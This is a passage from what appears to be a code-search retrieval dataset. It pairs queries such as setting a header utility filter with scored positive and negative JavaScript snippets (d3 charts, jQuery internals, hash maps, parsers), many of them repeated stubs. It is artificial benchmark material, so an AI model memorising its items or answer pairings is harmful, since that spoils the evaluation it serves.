.attr('y', -1000)\n .attr('class', 'tmp');\n var z = d3.selectAll('.tmp')[0]\n .map(function(x){ return x.getBBox(); });\n width = d3.max(z.map(function(x){ return x.width; }));\n margin = margin * width;\n width = width + 2 * margin;\n height = d3.max(z.map(function(x){ return x.height + margin / 2; }));\n \n // cleanup\n d3.selectAll('.tmp').remove();\n rescale = false;\n }\n }", "title": "" }, { "docid": "b114da025e05d12c95814e22c83d4a60", "score": "0.50098747", "text": "function changeFontSize(e, id) {\n // Get the value from the HTML\n graphOptions[id]['fontSize'] = parseInt(e.value);\n\n // Redraw the hist\n hist(id, 'changeFontSize');\n}", "title": "" }, { "docid": "d4f6436f331ff61ac8ece7ac64c972a3", "score": "0.5009493", "text": "_maybeResize() {\n const loadFactor = this.buckets.length * ResizeLoadFactor;\n if (this.numOfKeyValues > loadFactor) {\n const newBucketSize = this.buckets.length * 2;\n const newBuckets = newFixedArray(newBucketSize);\n newBuckets.forEach((_, i) => newBuckets[i] = new Array());\n\n // Copy over previously inserted keyValues into the new, larger newBuckets.\n for (const kv of this) {\n const newHashNumber = hashCode(kv.key);\n const newBucketIdx = newHashNumber % newBucketSize;\n newBuckets[newBucketIdx].push(kv);\n }\n\n this.buckets = newBuckets;\n }\n }", "title": "" }, { "docid": "914158dac8f1c95f2e2233d375c5c37b", "score": "0.50072336", "text": "function renderTreeMap(data, id, location){\n\n var svgWidth = 737;\n var svgHeight = 463;\n \n var margin = {\n top: 10,\n right: 10,\n bottom: 10,\n left: 10\n };\n \n var width = svgWidth - margin.left - margin.right;\n var height = svgHeight - margin.top - margin.bottom; \n\n var color = d3.scaleOrdinal(d3.schemeCategory10)\n \n\n d3.select(\"#\"+id).selectAll(\"svg\").remove();\n\n var svg = d3\n .select(\"#\"+id)\n .append(\"svg\")\n .attr(\"width\", svgWidth)\n .attr(\"height\", svgHeight)\n .append(\"g\")\n .attr(\"transform\",\n \"translate(\" + margin.left + \",\" + margin.top + \")\");; \n\n // https://observablehq.com/@d3/d3-stratify\n var root = d3.stratify()\n .id(function(d) { return d.child; }) // Name of the entity (column name is name in csv)\n .parentId(function(d) { return d.parent; }) // Name of the parent (column name is parent in csv)\n (data);\n\n root.sum(function(d) { return +d.value }) \n\n d3.treemap()\n .size([width, height])\n .padding(4)\n (root) \n\n // console.log(root)\n\n // use this information to add rectangles:\n let rects = svg\n .selectAll(\"rect\")\n .data(root.leaves())\n .enter()\n .append(\"rect\") \n .attr('x', function (d) { return d.x0; })\n .attr('y', function (d) { return d.y0; });\n // https://stackoverflow.com/questions/22645162/d3-when-i-add-a-transition-my-mouseover-stops-working-why\n rects.transition()\n // https://bl.ocks.org/d3noob/1ea51d03775b9650e8dfd03474e202fe\n .ease(d3.easeBounce)\n .duration(1000) \n .attr('width', function (d) { return d.x1 - d.x0; })\n .attr('height', function (d) { return d.y1 - d.y0; })\n .style(\"stroke\", \"black\")\n // .style(\"fill\", \"#69b3a2\");\n // https://observablehq.com/@d3/stretched-treemap\n .attr(\"fill\", function(d) {\n return color(d.data.child); \n });\n\n // and to add the text labels\n svg\n .selectAll(\"text\")\n .data(root.leaves())\n .enter()\n .append(\"text\")\n .attr(\"x\", function(d){ return d.x0 + 2}) \n .attr(\"y\", function(d){ return d.y1 - 4}) // positioning text at bottom of a rectangle\n .text(function(d){ \n return ((d.x1 - d.x0) > 32) ? d.data.child : \"\";\n })\n .attr(\"font-size\", \"12px\")\n // .attr(\"font-weight\", \"bold\")\n .attr(\"fill\", \"white\")\n\n function sleep(ms) {\n return new Promise(resolve => setTimeout(resolve, ms));\n }\n\n \n // creating tool tip\n // http://bl.ocks.org/caged/6476579\n var toolTip = d3.tip() \n .attr('class', 'd3-tip')\n .offset([-10, 0]) \n .html(function(d) { \n return \"<table class='toolTipTable'><tr class='toolTipData'><td><strong>\" + location + \"</strong> </td><td><span style='color:black'>\" + d.id + \"</span></td></tr><tr class='toolTipData'><td><strong>Accidents</strong> </td><td><span style='color:black'>\" + d.value + \" (\" + d.data.percentage +\"%)</span></td></tr></table>\"; \n });\n // Step 2: Create the tooltip in svg.\n svg.call(toolTip); \n \n rects.on(\"mouseover\", function(d){\n toolTip.show(d, this)\n })// onmouseout event\n .on(\"mouseout\", function(data, index) {\n toolTip.hide(data);\n });\n\n // sleep(2000).then(() => {\n // rects.on(\"mouseover\", function(d){\n // toolTip.show(d, this)\n // })// onmouseout event\n // .on(\"mouseout\", function(data, index) {\n // toolTip.hide(data);\n // });\n // });\n\n}//end of renderTreeMap", "title": "" }, { "docid": "c9b761cca90988f7a3bbd37695f80bf8", "score": "0.5005838", "text": "function markerSize(mag) {\n return mag*4;\n}", "title": "" }, { "docid": "40a1fdefc443e6b010e2a524ce71b7eb", "score": "0.50057673", "text": "size(node = this.root) {\n let count = 0;\n function rSize(node) {\n if (node) {\n count++;\n rSize(node.left);\n rSize(node.right);\n }\n }\n rSize(node);\n return count;\n }", "title": "" } ]
5730ab7b4ffae4dd4a287aedc6913600
Set & Select given utility type in the header utility filter
[ { "docid": "fb5cd3052dd7cf107fb7248977cc082f", "score": "0.66419435", "text": "setHeaderUtilityType(utilityTypeId, disableUtilityFilter) {\n if (this.headerComponent._ismounted) {\n // Normal page need to enable the header utility type filer, So 'disableUtilityFilter' must be FALSE\n // Form page need to disable the header utility type filer, So 'disableUtilityFilter' must be TRUE\n this.headerComponent.disableUtilityFilter = disableUtilityFilter;\n this.headerComponent.updateUtility(utilityTypeId);\n }\n }", "title": "" } ]
[ { "docid": "1e93fc6a76ff7f2caa70e678c9bc006e", "score": "0.65282065", "text": "setUtilityType(utilityTypeId, disableUtilityFilter) {\n ls.removeItem('userUtilityType');\n ls.setItem('userUtilityType', utilityTypeId);\n if (!_.isEmpty(this.headerComponent)) {\n this.setHeaderUtilityType(utilityTypeId, disableUtilityFilter);\n }\n }", "title": "" }, { "docid": "74f5905abb3bb22f35c4b5e2453c47ec", "score": "0.56623256", "text": "function setHeaderForFilter(){\n\t//Change table header text\n\t$('tr#valueset_table_header').addClass(\"hidden\");\n\t$('tr#valueset_categoryfilter_table_header').removeClass(\"hidden\");\n}", "title": "" }, { "docid": "f91fc82ff9ccf705f67f9a0844877d47", "score": "0.5469769", "text": "function filterOption(choice){\n bookList.filterType = { status: choice };\n }", "title": "" }, { "docid": "58757b0ced58d8049ac8eb4d02f78fd4", "score": "0.53614384", "text": "get headerFilter() {\n return this._getOption('headerFilter');\n }", "title": "" }, { "docid": "f902ee6edfa40a3385a15ccf67a22e1e", "score": "0.5350047", "text": "function addToPrefiltersOrTransports(structure){// dataTypeExpression is optional and defaults to \"*\"\nreturn function(dataTypeExpression,func){if(typeof dataTypeExpression!==\"string\"){func=dataTypeExpression;dataTypeExpression=\"*\";}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite)||[];if(jQuery.isFunction(func)){// For each dataType in the dataTypeExpression\nwhile(dataType=dataTypes[i++]){// Prepend if requested\nif(dataType.charAt(0)===\"+\"){dataType=dataType.slice(1)||\"*\";(structure[dataType]=structure[dataType]||[]).unshift(func);// Otherwise append\n}else{(structure[dataType]=structure[dataType]||[]).push(func);}}}};}// Base inspection function for prefilters and transports", "title": "" }, { "docid": "61a710f2d7a53856be868be8d88d05da", "score": "0.5294273", "text": "function addToPrefiltersOrTransports(structure){// dataTypeExpression is optional and defaults to \"*\"\nreturn function(dataTypeExpression,func){if(typeof dataTypeExpression!==\"string\"){func=dataTypeExpression;dataTypeExpression=\"*\";}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnothtmlwhite)||[];if(isFunction(func)){// For each dataType in the dataTypeExpression\nwhile(dataType=dataTypes[i++]){// Prepend if requested\nif(dataType[0]===\"+\"){dataType=dataType.slice(1)||\"*\";(structure[dataType]=structure[dataType]||[]).unshift(func);// Otherwise append\n}else{(structure[dataType]=structure[dataType]||[]).push(func);}}}};}// Base inspection function for prefilters and transports", "title": "" }, { "docid": "9d49be5f726dc3e7c5c568533e52d9c3", "score": "0.5245445", "text": "function changeStudentfilter(value){\n\ttype = value;\n\trefreshTable();\n}", "title": "" }, { "docid": "21bc3da5d5bb86a028cbdf59424f607b", "score": "0.5242396", "text": "if (filter._type === 'HEADER') {\n console.error('DynamicSourcesFilters HEADER not implemented');\n return null;\n }", "title": "" }, { "docid": "7dd0e0214b14497750bb8955904f2dce", "score": "0.5214644", "text": "function addToPrefiltersOrTransports(structure){ // dataTypeExpression is optional and defaults to \"*\"\nreturn function(dataTypeExpression,func){if(typeof dataTypeExpression!==\"string\"){func=dataTypeExpression;dataTypeExpression=\"*\";}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite)||[];if(jQuery.isFunction(func)){ // For each dataType in the dataTypeExpression\nwhile(dataType=dataTypes[i++]){ // Prepend if requested\nif(dataType[0]===\"+\"){dataType=dataType.slice(1)||\"*\";(structure[dataType]=structure[dataType]||[]).unshift(func); // Otherwise append\n}else {(structure[dataType]=structure[dataType]||[]).push(func);}}}};} // Base inspection function for prefilters and transports", "title": "" }, { "docid": "31731c2e0f3e38c944cbc465ae646434", "score": "0.52023166", "text": "function BrowserFilterItem() {}", "title": "" }, { "docid": "d89556a096c24e9fb482162b01386af9", "score": "0.5158926", "text": "function addToPrefiltersOrTransports(structure){\n\n// dataTypeExpression is optional and defaults to \"*\"\nreturn function(dataTypeExpression,func){\n\nif(typeof dataTypeExpression!==\"string\"){\nfunc=dataTypeExpression;\ndataTypeExpression=\"*\";\n}\n\nvar dataType,\ni=0,\ndataTypes=dataTypeExpression.toLowerCase().match(rnothtmlwhite)||[];\n\nif(isFunction(func)){\n\n// For each dataType in the dataTypeExpression\nwhile(dataType=dataTypes[i++]){\n\n// Prepend if requested\nif(dataType[0]===\"+\"){\ndataType=dataType.slice(1)||\"*\";\n(structure[dataType]=structure[dataType]||[]).unshift(func);\n\n// Otherwise append\n}else {\n(structure[dataType]=structure[dataType]||[]).push(func);\n}\n}\n}\n};\n}", "title": "" }, { "docid": "428813cd33fb0f45f904d2c133eac505", "score": "0.5154839", "text": "function setShownTypes(type) {\n switch (type) {\n case 'all':\n $('tr').show();\n break;\n case 'important':\n $('tr').hide();\n $('.importantrow').show();\n break;\n case 'confusing':\n $('tr').hide();\n $('.confusingrow').show();\n break;\n }\n $('#headerrow').show();\n}", "title": "" }, { "docid": "fe4bd49dc222f62afb477fa505a4ffc2", "score": "0.51462585", "text": "function addToPrefiltersOrTransports(structure){ // dataTypeExpression is optional and defaults to \"*\"\nreturn function(dataTypeExpression,func){if(typeof dataTypeExpression !== \"string\"){func = dataTypeExpression;dataTypeExpression = \"*\";}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite) || [];if(jQuery.isFunction(func)){ // For each dataType in the dataTypeExpression\nwhile(dataType = dataTypes[i++]) { // Prepend if requested\nif(dataType.charAt(0) === \"+\"){dataType = dataType.slice(1) || \"*\";(structure[dataType] = structure[dataType] || []).unshift(func); // Otherwise append\n}else {(structure[dataType] = structure[dataType] || []).push(func);}}}};} // Base inspection function for prefilters and transports", "title": "" }, { "docid": "4d8ed3b8c4785cfdb6449a3431911802", "score": "0.5139471", "text": "function addToPrefiltersOrTransports(structure){ // dataTypeExpression is optional and defaults to \"*\"\nreturn function(dataTypeExpression,func){if(typeof dataTypeExpression !== \"string\"){func = dataTypeExpression;dataTypeExpression = \"*\";}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite) || [];if(jQuery.isFunction(func)){ // For each dataType in the dataTypeExpression\nwhile(dataType = dataTypes[i++]) { // Prepend if requested\nif(dataType[0] === \"+\"){dataType = dataType.slice(1) || \"*\";(structure[dataType] = structure[dataType] || []).unshift(func); // Otherwise append\n}else {(structure[dataType] = structure[dataType] || []).push(func);}}}};} // Base inspection function for prefilters and transports", "title": "" }, { "docid": "2ad501d73d4c6d0ffdefae93e2b8ef5b", "score": "0.51126295", "text": "function setTypeFilter() {\n //console.log(\"Type: \" + settings[\"type\"]);\n\n if (\"all\" == settings[\"type\"]) {\n document.getElementById(\"filter-all\").checked = true;\n } else if (\"extensions\" == settings[\"type\"]) {\n document.getElementById(\"filter-extensions\").checked = true;\n } else if (\"themes\" == settings[\"type\"]) {\n document.getElementById(\"filter-themes\").checked = true;\n }\n}", "title": "" }, { "docid": "a86b306e26e9f83c12104af7a604534c", "score": "0.5100072", "text": "setPurposeFiltering (purpose, filter) {\n // Change purpose\n this.currentPurposes[DataUtils.queryIndexByExample(this.currentPurposes, {id: purpose})].active = filter\n let annotatorToggle = document.querySelector('#annotatorToggle')\n // If mode is locating, re-render the website\n if (!annotatorToggle.checked) {\n // Search for element in sidebar\n let purposeButton = document.querySelector('#purposes').querySelector('[data-purpose=\"' + purpose + '\"')\n // Set purpose button status\n purposeButton.dataset.filterActive = filter\n // Highlight/unhighlight elements in DOM\n if (filter) {\n let elements = document.querySelectorAll('.' + highlightFilteredClassName + '[data-purpose=\"' + purpose + '\"]')\n this.highlightElements(elements)\n } else {\n let elements = document.querySelectorAll('.' + highlightClassName + '[data-purpose=\"' + purpose + '\"]')\n this.unHighlightElements(elements)\n }\n }\n }", "title": "" }, { "docid": "66141231d098722d3b5137083fa4ab5c", "score": "0.5080423", "text": "function rvSetFilter(filter) {\n filters = filter;\n}", "title": "" }, { "docid": "bc0315a3e0367dbe6960b59fce76cd81", "score": "0.50613046", "text": "function headerRender(type) {\n var title, img;\n switch (type) {\n case 'fruit':\n title = 'Fruits';\n img = 'fruitsImg.jpg'\n break;\n case 'vegetable':\n title = 'Vegetables';\n img = 'vegetablesImg.jpg'\n break;\n default:\n title = 'As products';\n img = 'vegetablesImg.jpg';\n break;\n }\n $('.main-title').text(title)\n $('.img-header').attr('src', `./images/store/${img}`)\n}", "title": "" }, { "docid": "2a4e5a49637a3d7479a79774e7560bf8", "score": "0.5022777", "text": "function addToPrefiltersOrTransports(structure){// dataTypeExpression is optional and defaults to \"*\"\n\treturn function(dataTypeExpression,func){if(typeof dataTypeExpression!==\"string\"){func=dataTypeExpression;dataTypeExpression=\"*\";}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite)||[];if(jQuery.isFunction(func)){// For each dataType in the dataTypeExpression\n\twhile(dataType=dataTypes[i++]){// Prepend if requested\n\tif(dataType[0]===\"+\"){dataType=dataType.slice(1)||\"*\";(structure[dataType]=structure[dataType]||[]).unshift(func);// Otherwise append\n\t}else{(structure[dataType]=structure[dataType]||[]).push(func);}}}};}// Base inspection function for prefilters and transports", "title": "" }, { "docid": "bb9c36ba8e68342e3af8e5701452ebe1", "score": "0.5012062", "text": "function setHeaderForSearchCode(){\n\t//Change table header text\n\t$('tr#valueset_table_header').addClass(\"hidden\");\n\t$('tr#valueset_categoryfilter_table_header').addClass(\"hidden\");\n\t$('tr#valueset_namesearch_table_header').addClass(\"hidden\");\n\t$('tr#valueset_codesearch_table_header').removeClass(\"hidden\");\n}", "title": "" }, { "docid": "6ffc3deea73d8cb84252ad4f06a7f363", "score": "0.4991036", "text": "setPageUtilityType(utilityTypeId) {\n ls.removeItem('pageUtilityType');\n ls.setItem('pageUtilityType', utilityTypeId);\n this.setUtilityType(utilityTypeId, false);\n }", "title": "" }, { "docid": "d0a7deb8a224003fffc1060049ceaa7e", "score": "0.49855992", "text": "function setHeaderForSearchName(){\n\t//Change table header text\n\t$('tr#valueset_table_header').addClass(\"hidden\");\n\t$('tr#valueset_categoryfilter_table_header').addClass(\"hidden\");\n\t$('tr#valueset_codesearch_table_header').addClass(\"hidden\");\n\t$('tr#valueset_namesearch_table_header').removeClass(\"hidden\");\n}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" }, { "docid": "f06f643b4147e28940e9532e1b259722", "score": "0.49784642", "text": "function setFilters() {}", "title": "" } ]
67d41d4df62c993f9601baefdd5d8f1f
Convenience function for the parse function. This pop function is basically copied from pouchCollate.parseIndexableString
[ { "docid": "107aefb25c4f1489d552d986e0425f27", "score": "0.0", "text": "function pop(obj, stack, metaStack) {\n var lastMetaElement = metaStack[metaStack.length - 1];\n if (obj === lastMetaElement.element) {\n // popping a meta-element, e.g. an object whose value is another object\n metaStack.pop();\n lastMetaElement = metaStack[metaStack.length - 1];\n }\n var element = lastMetaElement.element;\n var lastElementIndex = lastMetaElement.index;\n if (Array.isArray(element)) {\n element.push(obj);\n } else if (lastElementIndex === stack.length - 2) { // obj with key+value\n var key = stack.pop();\n element[key] = obj;\n } else {\n stack.push(obj); // obj with key only\n }\n}", "title": "" } ]
[ { "docid": "3aec16242e98f0e5a42ef7aa317e49d7", "score": "0.55868345", "text": "function parseString() {\r\n var startChar = S[pos];\r\n var startpos = ++pos;\r\n pos = S.indexOf(startChar, startpos)\r\n return S.slice(startpos, pos);\r\n }", "title": "" }, { "docid": "38684f25ecac478f0e74ea7335849e8c", "score": "0.52730364", "text": "function bparse(str, pos) {\n\tswitch(str.charAt(pos)) {\n\t\tcase \"d\": return bparseDict(str, pos+1);\n\t\tcase \"l\": return bparseList(str, pos+1);\n\t\tcase \"i\": return bparseInt(str, pos+1);\n\t\tdefault: return bparseString(str, pos);\n\t}\n}", "title": "" }, { "docid": "38684f25ecac478f0e74ea7335849e8c", "score": "0.52730364", "text": "function bparse(str, pos) {\n\tswitch(str.charAt(pos)) {\n\t\tcase \"d\": return bparseDict(str, pos+1);\n\t\tcase \"l\": return bparseList(str, pos+1);\n\t\tcase \"i\": return bparseInt(str, pos+1);\n\t\tdefault: return bparseString(str, pos);\n\t}\n}", "title": "" }, { "docid": "1ae1fa871d0aebf228fcf7396ae0775a", "score": "0.5240867", "text": "function parseText() {\r\n var start = pos;\r\n pos = S.indexOf(openBracket, pos) - 1;\r\n if (pos === -2)\r\n pos = S.length;\r\n return S.slice(start, pos + 1);\r\n }", "title": "" }, { "docid": "0d812232fd255e77784935f1e18320fd", "score": "0.5233866", "text": "pop() {\n if (this.length == 0) {\n throw new Error('Index error');\n }\n const value = this.ptr.get(this.ptr + this.length - 1);\n this.length--;\n return value;\n }", "title": "" }, { "docid": "61ae83c3d9355b6ec2b8d64d2204dbc4", "score": "0.51567936", "text": "function parseModel (val) {\n\t str = val;\n\t len = str.length;\n\t index$1 = expressionPos = expressionEndPos = 0;\n\n\t if (val.indexOf('[') < 0 || val.lastIndexOf(']') < len - 1) {\n\t return {\n\t exp: val,\n\t idx: null\n\t }\n\t }\n\n\t while (!eof()) {\n\t chr = next();\n\t /* istanbul ignore if */\n\t if (isStringStart(chr)) {\n\t parseString(chr);\n\t } else if (chr === 0x5B) {\n\t parseBracket(chr);\n\t }\n\t }\n\n\t return {\n\t exp: val.substring(0, expressionPos),\n\t idx: val.substring(expressionPos + 1, expressionEndPos)\n\t }\n\t}", "title": "" }, { "docid": "b4cfd0a30987c2fb1a9c3b49379b5300", "score": "0.5134695", "text": "function parseModel (val) {\r\n\t str = val;\r\n\t len = str.length;\r\n\t index$1 = expressionPos = expressionEndPos = 0;\r\n\t\r\n\t if (val.indexOf('[') < 0 || val.lastIndexOf(']') < len - 1) {\r\n\t return {\r\n\t exp: val,\r\n\t idx: null\r\n\t }\r\n\t }\r\n\t\r\n\t while (!eof()) {\r\n\t chr = next();\r\n\t /* istanbul ignore if */\r\n\t if (isStringStart(chr)) {\r\n\t parseString(chr);\r\n\t } else if (chr === 0x5B) {\r\n\t parseBracket(chr);\r\n\t }\r\n\t }\r\n\t\r\n\t return {\r\n\t exp: val.substring(0, expressionPos),\r\n\t idx: val.substring(expressionPos + 1, expressionEndPos)\r\n\t }\r\n\t}", "title": "" }, { "docid": "b27df5c64d2af8c3072112e9074594b7", "score": "0.5103719", "text": "function peek(str){\n\treturn str[0];\n}", "title": "" }, { "docid": "36ba8a611f129c073aa8f1b7278407d5", "score": "0.5062582", "text": "_add_to_parsed(parsed, count, key, val){\n var remove = parsed.parts.slice(parsed.parts.length-count);\n for(var part of remove )this.address = this.address.replace(part, '');\n\n parsed.parts = parsed.parts.slice(0, parsed.parts.length-count);\n parsed[key] = val;\n return parsed;\n }", "title": "" }, { "docid": "c186813e369b640454252290211507e5", "score": "0.5013101", "text": "function parseModel(val) {\n str = val;\n len = str.length;\n index$1 = expressionPos = expressionEndPos = 0;\n\n if (val.indexOf('[') < 0 || val.lastIndexOf(']') < len - 1) {\n return {\n exp: val,\n idx: null\n }\n }\n\n while (!eof()) {\n chr = next();\n /* istanbul ignore if */\n if (isStringStart(chr)) {\n parseString(chr);\n } else if (chr === 0x5B) {\n parseBracket(chr);\n }\n }\n\n return {\n exp: val.substring(0, expressionPos),\n idx: val.substring(expressionPos + 1, expressionEndPos)\n }\n}", "title": "" }, { "docid": "d5e2c8aaee2126850602f33bb2679853", "score": "0.49932873", "text": "function parse(text) {\r\n var data = JSON.parse(text);\r\n data = revive(data, 0);\r\n return data;\r\n}", "title": "" }, { "docid": "81c42808809c37f288b25c72877f437b", "score": "0.4987032", "text": "pop() {\n if (this.length === 0) {\n throw new Error('Index error');\n }\n const value = memory.get(this.ptr + this.length - 1);\n this.length--;\n return value;\n }", "title": "" }, { "docid": "480bda6e2e357c322bc68b438f55ab84", "score": "0.49848327", "text": "pop(){\n if(this.length == 0){\n throw new Error('Index error')\n }\n const value = memory.get(this.ptr + this.length - 1)\n this.length--\n return value\n }", "title": "" }, { "docid": "c51c752e5ad210dc5bdf0da47d2d131f", "score": "0.49632892", "text": "function 